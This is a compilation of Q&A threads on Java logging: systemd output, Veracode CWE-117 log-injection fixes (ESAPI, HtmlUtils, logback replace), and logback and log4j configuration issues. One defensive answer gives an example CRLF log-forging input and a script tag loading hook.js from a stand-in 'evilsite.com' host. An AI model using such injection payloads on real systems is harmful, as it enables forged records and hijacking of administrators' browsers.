How can I Filter Messages in Java, that is controlled by Systemd?
At the moment, I'm writing logs using System.out.println like this:
System.out.println("Hello this is a Error");
and the Journalctl -b -u test.service gives me this:
Nov 02 11:58:41 test java[10]: Hello this is a Error
I would like to do something like this
Consider a pseudocode:
System.out.println("Hello this is a Error", "Warn");
and obtain the following:
Nov 02 11:58:41 test java[10] [Error]: Hello this is a Error
But I don't want to use Log4j or any other Library. Maybe I just don't know what to search for, can't find a solution. Hope somebody has an idea.
System.err
I suspect you want something very simple, so you can try the error output stream accessible via System.err. It can be used pretty match like a standard output stream System.out with which you're already familiar.
You can create your own message patterns and apply them using printf() (refer to the official tutorial provided by Oracle for more information on string formatting).
System.err.println("message");
System.err.printf(LocalDate.now() + " : %s", "message");
The message would be printed on the Console, highlighted in red. That's it.
Java logging API
If you want something more elaborate, Java has a built-in logging API (no external dependencies required). It resides in the java.util.logging (that's why it's called JUL for short) and offers lots of functionality and many tools including Loggers, Handler, Filters, Formatters, etc. You can learn more about it here.
Here's a very dummy example:
Logger logger = Logger.getLogger("myLogger");
logger.log(Level.WARNING, "something is wrong");
That said, if you would decide to use JUL, you at least need to be aware what are the downsides of it and why other logging tool exist.
For instance, you can read this question:
Why not use java.util.logging?
There is an Spring global #ExceptionHandler(Exception.class) method which logs exception like that:
#ExceptionHandler(Exception.class)
void handleException(Exception ex) {
logger.error("Simple error message", ex);
...
Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?
P.S. Current logger is Log4j over slf4j
UPD:
In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.
private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);
ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
Is there any way how to fix this vulnerability without changing
logger to ESAPI?
In short, yes.
TLDR:
First understand the gravity of the error. The main concern is in falsifying the log statments. Say you had code like this:
log.error( transactionId + " for user " + username + " was unsuccessful."
If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks. (Well, in this contrived case, just make it a little harder to see what happened.)
The second method of attack is more of a chess move. Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser. Now we inject <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script> and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log. Now the real hack can begin.
Defenses:
A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore. It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log. Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");
I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier. All programmers must submit to the party and follow the format!
To defend against the HTML scenario, I would use the [OWASP encoder project][1]
As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do. See the code:
/**
* Log the message after optionally encoding any special characters that might be dangerous when viewed
* by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
* injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
* specific session ID, and the current date/time.
*
* It will only log the message if the current logging level is enabled, otherwise it will
* discard the message.
*
* #param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
* #param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
* #param message the message to be logged
* #param throwable the {#code Throwable} from which to generate an exception stack trace.
*/
private void log(Level level, EventType type, String message, Throwable throwable) {
// Check to see if we need to log.
if (!isEnabledFor(level)) {
return;
}
// ensure there's something to log
if (message == null) {
message = "";
}
// ensure no CRLF injection into logs for forging records
String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}
}
// log server, port, app name, module name -- server:80/app/module
StringBuilder appInfo = new StringBuilder();
if (ESAPI.currentRequest() != null && logServerIP) {
appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
}
if (logAppName) {
appInfo.append("/").append(applicationName);
}
appInfo.append("/").append(getName());
//get the type text if it exists
String typeInfo = "";
if (type != null) {
typeInfo += type + " ";
}
// log the message
// Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
// need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
See lines 398-453. That's all the escaping that ESAPI provides. I would suggest copying the unit tests as well.
[DISCLAIMER]: I am project co-lead on ESAPI.
[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.
I am new to Veracode and was facing CWE-117. I understood this error is raised by Veracode when your logger statement has the potential to get attacked via malicious request's parameter values passed in. So we need to removed /r and /n (CRLF) from variables that are getting used in the logger statement.
Most of the newbie will wonder what method should be used to remove CRLF from variable passed in logger statement. Also sometime replaceAll() will not work as it is not an approved method by Veracode. Therefore, here is the link to approved methods by Veracode to handles CWE problems.
[Link Expired #22.11.2022] https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA
In my case I have used org.springframework.web.util.HtmlUtils.htmlEscape mentioned in the above link and it resolved the problem.
private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));
Edit-1: Veracode has stopped suggesting any particular function/method for sanitization of the logger variable. However still above solution will work. Find out the below link suggested by Veracode which explains what to do and how to do it to fix CWE-117 for some languages.
https://community.veracode.com/s/article/How-to-Fix-CWE-117-Improper-Output-Neutralization-for-Logs
JAVA: Using ESAPI library from OWASP for the logger. Checkout more details in link https://www.veracode.com/security/java/cwe-117
If you are using Logback use the replace function in your logback config pattern
original pattern
<pattern>%d %level %logger : %msg%n</pattern>
with replace
<pattern>%d %level %logger : %replace(%msg){'[\r\n]', '_'} %n</pattern>
if you want to strip <script> tag as well
<pattern>%d %-5level %logger : %replace(%msg){'[\r\n]|<script', '_'} %n</pattern>
This way you dont need to to modify individual log statements.
Though I am a bit late but I think it would help those who do not want to use ESAPI library and facing issue only for exception handler class
Use apache commons library
import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));
In order to avoid Veracode CWE 117 vulnerability I have used a custom logger class which uses HtmlUtils.htmlEscape() function to mitigate the vulnerablity.
Recommended solution to this problem by Veracode is to use ESAPI loggers but if you dont want to add an extra dependency to your project this should work fine.
https://github.com/divyashree11/VeracodeFixesJava/blob/master/spring-annotation-logs-demo/src/main/java/com/spring/demo/util/CustomLogger.java
I have tried with HtmlEscape of org.springframework.web.util.HtmlUtils, but it did not resolve by veracode's vulnerability. Give a try to below solution.
For Java use:
StringEscapeUtils.escapeJava(str)
For Html/JSP use:
StringEscapeUtils.escapeHtml(str)
Please use below package:
import org.appache.commons.lang.StringEscapeUtils;
I am trying to eliminate a leading hyphen from our console and file logs in SpringBoot 1.3.5.RELEASE with default logback config.
Logging pattern looks like:
logging:
pattern:
console: '%d{yyyy-MM-dd HH:mm:ss.SSS} %clr([${spring.application.name}]){red} %clr(%5p) %clr(${PID:- }){magenta} %clr(---){faint} %X{req.requestId} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%rEx}'
The file log pattern is similar, without the color coding. Both output every line after the first with a leading hyphen, which is making our syslog - logstash - grok filtering trickier. Example output:
2016-06-21 11:52:00.576 [my-app] INFO etc.. (application started)
-2016-06-21 11:52:00.583 [my-app] DEBUG etc..
-2016-06-21 11:52:00.583 [my-app] INFO etc..
I can't see anything in the docs mentioning this behaviour. Welcome any advice on how to eliminate it, if possible!
Update
Thanks to Edgar's answer below, it turns out this was caused by the following at the end of our logging pattern:
${LOG_EXCEPTION_CONVERSION_WORD:-%rEx}
I replaced it with:
${LOG_EXCEPTION_CONVERSION_WORD:%rEx}
et voila, the hyphen at the start of the following line disappears. See http://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-logging.html#boot-features-custom-log-configuration
The problem is in this part of logging.pattern.console:
${LOG_EXCEPTION_CONVERSION_WORD:-%rEx}
:- is Logback's default value delimiter and is what you should use in logback.xml. However, you're configuring things in application.properties where it's Spring Framework's default value delimiter (:) which should be used.
As you've used :-, you're saying use the value of LOG_EXCEPTION_CONVERSION_WORD and, if it's not set, use -%rEx instead.
The correct syntax is:
${LOG_EXCEPTION_CONVERSION_WORD:%rEx}
It's hard to diagnose without your providing the full logging format. I'm seeing something similar in our code, and it seems to be related to including this in the format:
${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}
If you're using it, then the hyphen may be the one before the %w. I'm not sure what the intended purpose of this is. If I find it, I'll add it to my answer.
I want to intercept logs from the specific thread in my application for the certain period of time. I'm using log4j.
The code below does that, but I'm getting logs from others threads too.
WriterAppender appender = new WriterAppender(new PatternLayout("%d{ISO8601} %p - %m%n"), consoleWriter);
appender.setName("STR_APPENDER");
appender.setThreshold(org.apache.log4j.Level.INFO);
Logger.getRootLogger().addAppender(appender);
//Some Logic here (I'm using other classes and jars here and I want to get this logs as well)
Logger.getRootLogger().removeAppender("STR_APPENDER");
I'm aware that Logger.getRootLogger() is not a good solution here, but I don't have any other idea.
You can use MDC.put.
eg
MDC.put("threadName",Thread.currentThread().getName());
Using that you can put thread name.
Using Log4j appender you can print the thread name [%X{threadName} in logs
I'm trying to figure out why I'm generating multiple versions of my log files (.1, .2 ,etc). My project has a need for 3 separate loggers, I'm using java.util.log and setting up my loggers as follows:
logger = Logger.getLogger("Logger");
logger.addHandler(new FileHandler(logFileName));
statsLogger = Logger.getLogger("StatsLogger");
statsLogger.addHandler(new FileHandler(statsLogFileName));
alarmLogger = Logger.getLogger("AlarmLogger");
alarmLogger.addHandler(new FileHandler(alarmLogFileName));
my logging properties file:
handlers=java.util.logging.ConsoleHandler java.util.logging.FileHandler
java.util.logging.FileHandler.append=true
java.util.logging.FileHandler.level=INFO
java.util.logging.ConsoleHandler.level=INFO
java.util.logging.ConsoleHandler.formatter=com.package.LogFormatter
java.util.logging.FileHandler.formatter=com.package.LogFormatter
This seems to work, well as far as I can tell anyway... things seem to be getting logged to the correct log files. Any ideas on what could be causing this?
Thanks for any ideas
According to the FileHandler javadoc
http://docs.oracle.com/javase/1.4.2/docs/api/java/util/logging/FileHandler.html#FileHandler
Normally the "%u" unique field is set to 0. However, if the
FileHandler tries to open the filename and finds the file is currently
in use by another process it will increment the unique number field
and try again. This will be repeated until FileHandler finds a file
name that is not currently in use. If there is a conflict and no "%u"
field has been specified, it will be added at the end of the filename
after a dot. (This will be after any automatically added generation
number.)
Have you got multiple processes running that are using the same log configuration ? Also check that any old test processes are not showing up in windows process viewer or top.